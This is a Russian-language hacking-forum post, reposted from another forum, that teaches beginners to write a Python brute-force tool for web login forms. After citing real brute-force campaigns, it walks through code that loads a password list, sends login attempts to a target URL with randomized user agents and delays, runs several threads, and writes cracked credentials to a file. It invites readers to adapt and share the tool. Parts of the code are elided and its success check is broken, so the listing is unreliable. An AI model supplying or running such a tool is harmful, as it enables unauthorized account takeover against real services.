Пишем свой брутфорс. Руководство для начинающих

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Авторство: hackeryaroslav (харе ржать с моего ника)​


Источник: xss.is​


Приветствую всех! Сегодня мы взглянем на брутфорс, метода атаки, где хакер стремится взломать защищенные данные, перебирая все возможные комбинации паролей. Этот мощный инструмент в руках хакера способен преодолеть даже самые надежные пароли, делая его неотъемлемой частью хакерского арсенала.

Почему же брутфорс настолько эффективен?

Его сила заключается в простоте: хакер последовательно перебирает все возможные символы, находя верный пароль. Несмотря на видимую легкость, успешная брутфорс атака требует времени и вычислительных ресурсов, что делает ее вызовом даже для опытных.

Пример успешных атак брутфорсом

1)
В 2007 году группа компаний, входящих в организацию Wi-Fi Alliance, начали продажу беспроводного оборудования для домашних сетей с поддержкой нового стандарта Wi-Fi Protected Setup. Среди производителей беспроводных маршрутизаторов, поддерживающих данную технологию, были такие крупные компании, как Cisco/Linksys, Netgear, Belkin и D-Link. Стандарт WPS был призван существенно упростить процесс настройки беспроводной сети и её использования для людей, не обладающих широкими знаниями в области сетевой безопасности. Однако, к концу 2011 года были опубликованы сведения о серьезных уязвимостях в WPS, которые позволяли злоумышленнику подобрать PIN-код беспроводной сети всего за несколько часов, обладая вычислительными ресурсами обыкновенного персонального компьютера.

Источник: wikipedia.org

2)

Недостаточно защищённые SSH-серверы Linux опять стали целью киберпреступников в новой кампании. Злоумышленники используют сканеры портов и подбор учётных данных по словарю с целью установить криптомайнер или запустить DDoS-атаки. Об атаках рассказала команда AhnLab Security Emergency Response Center (ASEC). В отчёте специалисты отмечают следующее: «Киберпреступники иногда ограничиваются установкой сканеров, после чего продают скомпрометированные IP-адреса и связанные учётные данные в дарквебе».

Источник: https://www.anti-malware.ru

3)
Британский сервис-провайдер SOS Intelligence предупреждает о появлении нового инструмента брутфорса. На его основе создан сервис поиска VPN со слабой парольной защитой, и счет жертвам взлома уже идет на тысячи. Рост числа попыток входа, связанных с VPN, вынудил экспертов запустить расследование. В итоге подозрительную активность удалось связать с неким софтом, созданным брокером начального доступа, использующим ник Bassterlord. Инструмент, предоставляемый в пользование как услуга, позволяет отыскивать в интернете VPN-службы и проверять надежность их защиты перебором ходовых логинов и паролей по списку. Судя по объявлению на хакерском форуме, в нем реализована поддержка прокси и многопоточного режима.

Источник: https://www.anti-malware.ru


Инструменты Брутфорса

Существует множество инструментов для брутфорс атаки, таких как Hydra, Medusa или John the Ripper. Они предоставляют обширные возможности для атаки на различные службы и протоколы, но почему бы нам не создать свой собственный брутфорс? Давайте попрактикуем свои умения, расширим горизонты

Почему python?

Python предоставляет простой синтаксис и богатые библиотеки, упрощая разработку и выполнение брутфорс атак. Благодаря активному сообществу, поддержке многозадачности и переносимости, Python становится эффективным выбором для написания подобных скриптов.

Итак, начнем.

Импорт библиотек:

Python: Скопировать в буфер обмена
Код:
import requests
import threading
import time
import random
import logging
import sys

Здесь подключаются необходимые библиотеки для работы с HTTP-запросами, многозадачностью, временем, случайными числами, логированием и системными операциями.

Настройка логирования:

Python: Скопировать в буфер обмена
logging.basicConfig(filename='app.log', level=logging.DEBUG)

Устанавливается конфигурация логирования, которая записывает события в файл 'app.log'.

Загрузка паролей:

Python: Скопировать в буфер обмена
Код:
def load_passwords(file_path):
with open(file_path, 'r') as f:
passwords = f.readlines()
passwords = [p.strip() for p in passwords]
return passwords

Создается функция для загрузки паролей из файла. Она возвращает список паролей.

Класс BruteForce:

Python: Скопировать в буфер обмена
Код:
class BruteForce:
def __init__(self, url, username, error_msg):
self.url = url
self.username = username
self.error_msg = error_msg
self.found = False

Создается класс BruteForce для представления объекта брутфорс атаки. У объекта есть URL, имя пользователя, сообщение об ошибке, и флаг found, указывающий, был ли найден верный пароль.

Проверка пароля:

Python: Скопировать в буфер обмена
Код:
def test_password(self, password):
try:
user_agent = random.choice(['Mozilla/5.0', 'Chrome/83.0.1'])
headers = {'User-Agent': user_agent}
data = {'username': self.username, 'password': password}
response = requests.post(self.url, headers=headers, data=data, timeout=5)
# ... (проверка статуса ответа и наличия сообщения об ошибке)
except Exception as e:
logging.error(f'Error: {e}')
pass
return False

В классе создается метод для тестирования одного пароля. Он отправляет HTTP-запрос с данными пользователя и пароля и проверяет ответ на статус и сообщение об ошибке.

Взлом паролей:

Python: Скопировать в буфер обмена
Код:
def crack_passwords(self, passwords):
    for password in passwords:
      delay = random.uniform(1, 3)
      logging.debug(f'Trying password {password}, delaying {delay} secs')
      time.sleep(delay)
      if self.found:
        with open('cracked_creds.txt', 'w') as f:
          f.write(f"{self.username}:{password}")
        break
      self.test_password(password)
# ... (задержка перед каждой попыткой, вызов метода test_password)

Еще один метод класса, который перебирает все пароли из списка, вызывая метод для тестирования каждого.

Интерактивный ввод параметров атаки:

Python: Скопировать в буфер обмена
Код:
def prompt_bruteforce():
# ... (ввод URL, имени пользователя, сообщения об ошибке и пути к файлу с паролями)
def prompt_bruteforce():
  print("Welcome to the brute force password cracker!")
 
  url = input("Enter URL: ")
  username = input("Enter username: ")
  error_msg = input("Enter error message: ")
  password_file = input("Enter password file path: ")
 
  passwords = load_passwords(password_file)
 
  bruteforcer = BruteForce(url, username, error_msg)
  threads = []
  for i in range(5):
    t = threading.Thread(target=bruteforcer.crack_passwords, args=(passwords,))
    threads.append(t)
    t.start()
  print("Cracking passwords...")
  for t in threads:
    t.join()
 
  print("Done!")

Создается функция для ввода параметров атаки.

Создание потоков для взлома:

Python: Скопировать в буфер обмена
Код:
for i in range(5):
t = threading.Thread(target=bruteforcer.crack_passwords, args=(passwords,))
threads.append(t)
t.start()

Запускаются 5 потоков, каждый из которых выполняет метод взлома паролей.

Ожидание завершения всех потоков:

Python: Скопировать в буфер обмена
Код:
for t in threads:
t.join()

Ожидается завершение всех потоков перед выводом сообщения о завершении.

Запуск атаки:

Python: Скопировать в буфер обмена
Код:
if __name__ == '__main__':
while True:
start = input("Start brute force attack? (y/n): ")
if start.lower() == 'y':
prompt_bruteforce()
break
else:
print("Exiting...")
break

Запускается атака, если пользователь вводит 'y'. В противном случае программа завершается. При успехе, программа сохранит логин и пароль в файл cracked_creds.txt в виде login:pass

screenshot.png



Если возникнут вопросы или нужна дополнительная помощь, не стесняйтесь задавать. Редактируйте код, экспериментируйте и делитесь своими успехами ниже. Помните, что знание — сила, и ваши навыки могут создать настоящий эффект.
Вот и все! Если у вас есть какие либо вопросы задавайте. В этой статье вы написали свою первую брутфорс программу на python. Ниже вы найдете файл со всем написанном выше кодом, смело редактируйте под свои нужды и делитесь ими здесь. Надеюсь статья была полезной!
 
Сверху Снизу